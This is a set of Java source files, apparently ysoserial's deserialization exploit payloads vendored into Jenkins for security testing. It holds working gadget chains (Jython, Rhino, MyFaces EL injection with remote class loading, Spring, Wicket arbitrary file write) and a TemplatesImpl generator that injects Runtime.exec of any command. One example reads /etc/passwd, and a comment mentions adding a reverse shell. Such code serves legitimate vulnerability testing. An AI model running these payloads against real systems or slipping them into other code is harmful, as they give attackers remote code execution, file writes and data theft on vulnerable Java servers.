import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest;
import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner;
/**
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
*
* This version of Jython1 writes a python script on the victim machine and
* executes it. The format of the parameters is:
*
* <local path>;<remote path>
*
* Where local path is the python script's location on the attack box and
* remote path is the location where the script will be written/executed from.
* For example:
*
* "/home/albino_lobster/read_etc_passwd.py;/tmp/jython1.py"
*
* In the above example, if "read_etc_passwd.py" simply contained the string:
*
* raise Exception(open('/etc/passwd', 'r').read())
*
* Then, when deserialized, the script will read in /etc/passwd and raise an
* exception with its contents (which could be useful if the target returns
* exception information).
*/
@PayloadTest(skip="non RCE")
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
@Dependencies({ "org.python:jython-standalone:2.5.2" })
public class Jython1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
public PriorityQueue getObject(String command) throws Exception {
String[] paths = command.split(";");
if (paths.length != 2) {
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(paths));
}
// Set payload parameters
String python_code = FileUtils.readFileToString(new File(paths[0]), "UTF-8");
// Python bytecode to write a file on disk and execute it
String code =
"740000" + //0 LOAD_GLOBAL 0 (open)
"640100" + //3 LOAD_CONST 1 (remote path)
"640200" + //6 LOAD_CONST 2 ('w+')
"830200" + //9 CALL_FUNCTION 2
"7D0000" + //12 STORE_FAST 0 (file)
"7C0000" + //15 LOAD_FAST 0 (file)
"690100" + //18 LOAD_ATTR 1 (write)
"640300" + //21 LOAD_CONST 3 (python code)
"830100" + //24 CALL_FUNCTION 1
"01" + //27 POP_TOP
"7C0000" + //28 LOAD_FAST 0 (file)
"690200" + //31 LOAD_ATTR 2 (close)
"830000" + //34 CALL_FUNCTION 0
"01" + //37 POP_TOP
"740300" + //38 LOAD_GLOBAL 3 (execfile)
"640100" + //41 LOAD_CONST 1 (remote path)
"830100" + //44 CALL_FUNCTION 1
"01" + //47 POP_TOP
"640000" + //48 LOAD_CONST 0 (None)
"53"; //51 RETURN_VALUE
// Helping consts and names
PyObject[] consts = new PyObject[]{new PyString(""), new PyString(paths[1]), new PyString("w+"), new PyString(python_code)};
String[] names = new String[]{"open", "write", "close", "execfile"};
// Generating PyBytecode wrapper for our python bytecode
PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{ "", "" }, "noname", "<module>", 0, "");
Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray());
// Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method
PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj);
// Prepare Trigger Gadget
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Jython1.class, args);
}
}
package jenkins.security.security218.ysoserial.payloads;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.mozilla.javascript.*;
import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies;
import jenkins.security.security218.ysoserial.payloads.util.Gadgets;
import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/*
by @matthias_kaiser
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"rhino:js:1.7R2"})
public class MozillaRhino1 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError");
Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
nativeErrorConstructor.setAccessible(true);
IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance();
Context context = Context.enter();
NativeObject scriptableObject = (NativeObject) context.initStandardObjects();
Method enterMethod = Context.class.getDeclaredMethod("enter");
NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name");
idScriptableObject.setGetterOrSetter("name", 0, method, false);
Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer");
NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message");
idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false);
Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
getSlot.setAccessible(true);
Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1);
Field getter = slot.getClass().getDeclaredField("getter");
getter.setAccessible(true);
Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox");
Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class);
memberboxClassConstructor.setAccessible(true);
Object memberboxes = memberboxClassConstructor.newInstance(enterMethod);
getter.set(slot, memberboxes);
NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, Gadgets.createTemplatesImpl(command), TemplatesImpl.class);
idScriptableObject.setPrototype(nativeObject);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException, idScriptableObject);
return badAttributeValueExpException;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(MozillaRhino1.class, args);
}
}
\ No newline at end of file
package jenkins.security.security218.ysoserial.payloads;
import javax.el.ELContext;
import javax.el.ExpressionFactory;
import javax.el.ValueExpression;
import javax.servlet.ServletContext;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import org.apache.myfaces.context.servlet.FacesContextImpl;
import org.apache.myfaces.context.servlet.FacesContextImplBase;
import org.apache.myfaces.el.CompositeELResolver;
import org.apache.myfaces.el.unified.FacesELContext;
import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression;
import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest;
import jenkins.security.security218.ysoserial.payloads.util.Gadgets;
import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner;
import jenkins.security.security218.ysoserial.payloads.util.Reflections;
/**
*
* ValueExpressionImpl.getValue(ELContext)
* ValueExpressionMethodExpression.getMethodExpression(ELContext)
* ValueExpressionMethodExpression.getMethodExpression()
* ValueExpressionMethodExpression.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
*
* Arguments:
* - an EL expression to execute
*
* Requires:
* - MyFaces
* - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized)
*
* @author mbechler
*/
@PayloadTest(skip="Requires running MyFaces, no direct execution")
public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {
public Object getObject ( String command ) throws Exception {
return makeExpressionPayload(command);
}
public static String[] getDependencies () {
if ( System.getProperty("el") == null || "apache".equals(System.getProperty("el")) ) {
return new String[] {
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
"org.mortbay.jasper:apache-el:8.0.27",
"javax.servlet:javax.servlet-api:3.1.0",
// deps for mocking the FacesContext
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
};
} else if ( "juel".equals(System.getProperty("el")) ) {
return new String[] {
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
"de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7",
"javax.servlet:javax.servlet-api:3.1.0",
// deps for mocking the FacesContext
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
};
}
throw new IllegalArgumentException("Invalid el type " + System.getProperty("el"));
}
public static Object makeExpressionPayload ( String expr ) throws IllegalArgumentException, IllegalAccessException, Exception {
FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null);
ELContext elContext = new FacesELContext(new CompositeELResolver(), fc);
Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext);
ExpressionFactory expressionFactory = ExpressionFactory.newInstance();
ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class);
ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1);
ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class);
ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2);
return Gadgets.makeMap(e2, e);
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(Myfaces1.class, args);
}
}
package jenkins.security.security218.ysoserial.payloads;
import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest;
import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner;
/**
*
* ValueExpressionImpl.getValue(ELContext)
* ValueExpressionMethodExpression.getMethodExpression(ELContext)
* ValueExpressionMethodExpression.getMethodExpression()
* ValueExpressionMethodExpression.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
*
* Arguments:
* - base_url:classname
*
* Yields:
* - Instantiation of remotely loaded class
*
* Requires:
* - MyFaces
* - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized)
*
* @author mbechler
*/
@PayloadTest ( harness = "ysoserial.payloads.MyfacesTest" )
public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {
public static String[] getDependencies () {
return Myfaces1.getDependencies();
}
public Object getObject ( String command ) throws Exception {
int sep = command.lastIndexOf(':');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
}
String url = command.substring(0, sep);
String className = command.substring(sep + 1);
// based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/
String expr = "${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}";
// if we add fewer than the actual classloaders we end up with a null entry
for ( int i = 0; i < 100; i++ ) {
expr += "${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('" + url + "').toURL())}";
}
expr += "${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')"
+ ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('" + className + "').newInstance()}";
return Myfaces1.makeExpressionPayload(expr);
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(Myfaces2.class, args);
}
}
......@@ -23,10 +23,98 @@
*/
package jenkins.security.security218.ysoserial.payloads;
import java.lang.reflect.Modifier;
import java.util.Iterator;
import java.util.Set;
import org.reflections.Reflections;
import jenkins.security.security218.ysoserial.GeneratePayload;
public interface ObjectPayload<T> {
/*
* return armed payload object to be serialized that will execute specified
* command on deserialization
*/
public T getObject(String command) throws Exception;
/*
* return armed payload object to be serialized that will execute specified
* command on deserialization
*/
public T getObject(String command) throws Exception;
public static class Utils {
// get payload classes by classpath scanning
public static Set<Class<? extends ObjectPayload>> getPayloadClasses () {
final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);
for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) {
Class<? extends ObjectPayload> pc = iterator.next();
if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) {
iterator.remove();
}
}
return payloadTypes;
}
@SuppressWarnings ( "unchecked" )
public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) {
Class<? extends ObjectPayload> clazz = null;
try {
clazz = (Class<? extends ObjectPayload>) Class.forName(className);
}
catch ( Exception e1 ) {}
if ( clazz == null ) {
try {
return clazz = (Class<? extends ObjectPayload>) Class
.forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className);
}
catch ( Exception e2 ) {}
}
if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) {
clazz = null;
}
return clazz;
}
public static Object makePayloadObject ( String payloadType, String payloadArg ) {
final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
}
final Object payloadObject;
try {
final ObjectPayload payload = payloadClass.newInstance();
payloadObject = payload.getObject(payloadArg);
}
catch ( Exception e ) {
throw new IllegalArgumentException("Failed to construct payload", e);
}
return payloadObject;
}
@SuppressWarnings ( "unchecked" )
public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception {
if ( payload instanceof ReleaseableObjectPayload ) {
( (ReleaseableObjectPayload) payload ).release(object);
}
}
public static void releasePayload ( String payloadType, Object payloadObject ) {
final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
}
try {
final ObjectPayload payload = payloadClass.newInstance();
releasePayload(payload, payloadObject);
}
catch ( Exception e ) {
e.printStackTrace();
}
}
}
}
package jenkins.security.security218.ysoserial.payloads;
/**
* @author mbechler
*
*/
public interface ReleaseableObjectPayload<T> extends ObjectPayload<T> {
void release( T obj ) throws Exception;
}
package jenkins.security.security218.ysoserial.payloads;
import static java.lang.Class.forName;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Type;
import javax.xml.transform.Templates;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.SingletonTargetSource;
import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies;
import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest;
import jenkins.security.security218.ysoserial.payloads.util.Gadgets;
import jenkins.security.security218.ysoserial.payloads.util.JavaVersion;
import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner;
import jenkins.security.security218.ysoserial.payloads.util.Reflections;
/**
*
* Just a PoC to proof that the ObjectFactory stuff is not the real problem.
*
* Gadget chain:
* TemplatesImpl.newTransformer()
* Method.invoke(Object, Object...)
* AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[])
* JdkDynamicAopProxy.invoke(Object, Method, Object[])
* $Proxy0.newTransformer()
* Method.invoke(Object, Object...)
* SerializableTypeWrapper$MethodInvokeTypeProvider.readObject(ObjectInputStream)
*
* @author mbechler
*/
@Dependencies ( {
"org.springframework:spring-core:4.1.4.RELEASE", "org.springframework:spring-aop:4.1.4.RELEASE",
// test deps
"aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2"
} )
@PayloadTest ( precondition = "isApplicableJavaVersion")
public class Spring2 extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject ( final String command ) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
AdvisedSupport as = new AdvisedSupport();
as.setTargetSource(new SingletonTargetSource(templates));
final Type typeTemplatesProxy = Gadgets.createProxy(
(InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as),
Type.class,
Templates.class);
final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
Gadgets.createMap("getType", typeTemplatesProxy),
forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
Object mitp = Reflections.createWithoutConstructor(forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"));
Reflections.setFieldValue(mitp, "provider", typeProviderProxy);
Reflections.setFieldValue(mitp, "methodName", "newTransformer");
return mitp;
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(Spring2.class, args);
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
}
package jenkins.security.security218.ysoserial.payloads;
import java.io.File;
import java.io.IOException;
import java.io.OutputStream;
import java.util.Arrays;
import org.apache.commons.codec.binary.Base64;
import org.apache.wicket.util.upload.DiskFileItem;
import org.apache.wicket.util.io.DeferredFileOutputStream;
import org.apache.wicket.util.io.ThresholdingOutputStream;
import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies;
import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner;
import jenkins.security.security218.ysoserial.payloads.util.Reflections;
/**
* This gadget is almost identical to FileUpload1 since it appears
* that Apache Wicket copied a version of Apache Commons DiskFileItem
* prior to Pierre Ernst reporting CVE-2013-2186 (NULL byte attack). That
* means that if the target is running less than Oracle Java 7 update 40
* then the NULL byte attack is viable. Otherwise, copy and move attacks
* always work.
*
* This attack is valid for the 1.x and 6.x lines of Apache Wicket but
* was fixed in 1.5.16 and 6.24.0 (released July 2016).
*
*
* Arguments:
* - copyAndDelete;sourceFile;destDir
* - write;destDir;ascii-data
* - writeB64;destDir;base64-data
* - writeOld;destFile;ascii-data
* - writeOldB64;destFile;base64-data
*
* Example:
* Wicket1 "write;/tmp;blue lobster"
*
* Result:
* $ ls -l /tmp/
* -rw-rw-r-- 1 albino_lobster albino_lobster 12 Jul 25 14:10 upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp
* $ cat /tmp/upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp
* blue lobster
*/
@Dependencies({"wicket-util:wicket-util:6.23"})
public class Wicket1 implements ReleaseableObjectPayload<DiskFileItem> {
public DiskFileItem getObject(String command) throws Exception {
String[] parts = command.split(";");
if (parts.length != 3) {
throw new IllegalArgumentException("Bad command format.");
}
if ("copyAndDelete".equals(parts[0])) {
return copyAndDelete(parts[1], parts[2]);
}
else if ("write".equals(parts[0])) {
return write(parts[1], parts[2].getBytes("US-ASCII"));
}
else if ("writeB64".equals(parts[0]) ) {
return write(parts[1], Base64.decodeBase64(parts[2]));
}
else if ("writeOld".equals(parts[0]) ) {
return writeOldJRE(parts[1], parts[2].getBytes("US-ASCII"));
}
else if ("writeOldB64".equals(parts[0]) ) {
return writeOldJRE(parts[1], Base64.decodeBase64(parts[2]));
}
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts));
}
public void release(DiskFileItem obj) throws Exception {
}
private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception {
return makePayload(0, copyTo, copyAndDelete, new byte[1]);
}
// writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp)
private static DiskFileItem write ( String dir, byte[] data ) throws IOException, Exception {
return makePayload(data.length + 1, dir, dir + "/whatever", data);
}
// writes data to an arbitrary file
private static DiskFileItem writeOldJRE(String file, byte[] data) throws IOException, Exception {
return makePayload(data.length + 1, file + "\0", file, data);
}
private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception {
// if thresh < written length, delete outputFile after copying to repository temp file
// otherwise write the contents to repository temp file
File repository = new File(repoPath);
DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository, null);
File outputFile = new File(filePath);
DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
os.write(data);
Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
return diskFileItem;
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(FileUpload1.class, args);
}
}
\ No newline at end of file
package jenkins.security.security218.ysoserial.payloads.annotation;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
import java.lang.reflect.AnnotatedElement;
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
public @interface Dependencies {
String[] value() default {};
public static class Utils {
public static String[] getDependencies(AnnotatedElement annotated) {
Dependencies deps = annotated.getAnnotation(Dependencies.class);
if (deps != null && deps.value() != null) {
return deps.value();
} else {
return new String[0];
}
}
}
}
package jenkins.security.security218.ysoserial.payloads.annotation;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
/**
* @author mbechler
*
*/
@Retention(RetentionPolicy.RUNTIME)
public @interface PayloadTest {
String skip() default "";
String precondition() default "";
String harness() default "";
}
package jenkins.security.security218.ysoserial.payloads.util;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
public class ClassFiles {
public static String classAsFile(final Class<?> clazz) {
return classAsFile(clazz, true);
}
public static String classAsFile(final Class<?> clazz, boolean suffix) {
String str;
if (clazz.getEnclosingClass() == null) {
str = clazz.getName().replace(".", "/");
} else {
str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
}
if (suffix) {
str += ".class";
}
return str;
}
public static byte[] classAsBytes(final Class<?> clazz) {
try {
final byte[] buffer = new byte[1024];
final String file = classAsFile(clazz);
final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);
if (in == null) {
throw new IOException("couldn't find '" + file + "'");
}
final ByteArrayOutputStream out = new ByteArrayOutputStream();
int len;
while ((len = in.read(buffer)) != -1) {
out.write(buffer, 0, len);
}
return out.toByteArray();
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
package jenkins.security.security218.ysoserial.payloads.util;
import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
import java.io.Serializable;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
/*
* utility generator functions for common jdk-only gadgets
*/
@SuppressWarnings ( {
"restriction", "rawtypes", "unchecked"
} )
public class Gadgets {
static {
// special case for using TemplatesImpl gadgets with a SecurityManager enabled
System.setProperty(DESERIALIZE_TRANSLET, "true");
// for RMI remote loading
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
}
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = -5971610431559700674L;
public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {}
@Override
public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
}
// required to make TemplatesImpl happy
public static class Foo implements Serializable {
private static final long serialVersionUID = 8207363842866235160L;
}
public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}
public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
}
public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
allIfaces[ 0 ] = iface;
if ( ifaces.length > 0 ) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
}
return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
}
public static Map<String, Object> createMap ( final String key, final Object val ) {
final Map<String, Object> map = new HashMap<String, Object>();
map.put(key, val);
return map;
}
public static Object createTemplatesImpl ( final String command ) throws Exception {
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
return createTemplatesImpl(
command,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
}
return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");");
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
public static HashMap makeMap ( Object v1, Object v2 ) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException,
IllegalAccessException, InvocationTargetException {
HashMap s = new HashMap();
Reflections.setFieldValue(s, "size", 2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);
return s;
}
}
package jenkins.security.security218.ysoserial.payloads.util;
/**
* @author mbechler
*
*/
public class JavaVersion {
public int major;
public int minor;
public int update;
public static JavaVersion getLocalVersion() {
String property = System.getProperties().getProperty("java.version");
if ( property == null ) {
return null;
}
JavaVersion v = new JavaVersion();
String parts[] = property.split("\\.|_|-");
v.major = Integer.parseInt(parts[1]);
v.minor = Integer.parseInt(parts[2]);
v.update = Integer.parseInt(parts[3]);
return v;
}
public static boolean isAnnInvHUniversalMethodImpl() {
JavaVersion v = JavaVersion.getLocalVersion();
return v != null && (v.major < 8 || (v.major == 8 && v.update <= 71));
}
}
package jenkins.security.security218.ysoserial.payloads.util;
import java.util.concurrent.Callable;
import jenkins.security.security218.ysoserial.Deserializer;
import jenkins.security.security218.ysoserial.Serializer;
import static jenkins.security.security218.ysoserial.Deserializer.deserialize;
import static jenkins.security.security218.ysoserial.Serializer.serialize;
import jenkins.security.security218.ysoserial.payloads.ObjectPayload;
import jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils;
import jenkins.security.security218.ysoserial.secmgr.ExecCheckingSecurityManager;
/*
* utility class for running exploits locally from command line
*/
@SuppressWarnings("unused")
public class PayloadRunner {
public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// ensure payload generation doesn't throw an exception
byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
public byte[] call() throws Exception {
final String command = args.length > 0 && args[0] != null ? args[0] : "calc.exe";
System.out.println("generating payload object(s) for command: '" + command + "'");
ObjectPayload<?> payload = clazz.newInstance();
final Object objBefore = payload.getObject(command);
System.out.println("serializing payload");
byte[] ser = Serializer.serialize(objBefore);
Utils.releasePayload(payload, objBefore);
return ser;
}});
try {
System.out.println("deserializing payload");
final Object objAfter = Deserializer.deserialize(serialized);
} catch (Exception e) {
e.printStackTrace();
}
}
}
package jenkins.security.security218.ysoserial.payloads.util;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import sun.reflect.ReflectionFactory;
@SuppressWarnings ( "restriction" )
public class Reflections {
public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
Field field = clazz.getDeclaredField(fieldName);
if (field != null)
field.setAccessible(true);
else if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
return field;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public static Constructor<?> getFirstCtor(final String name) throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
ctor.setAccessible(true);
return ctor;
}
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
@SuppressWarnings ( {"unchecked"} )
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T)sc.newInstance(consArgs);
}
}
package jenkins.security.security218.ysoserial.secmgr;
import java.io.FileDescriptor;
import java.net.InetAddress;
import java.security.Permission;
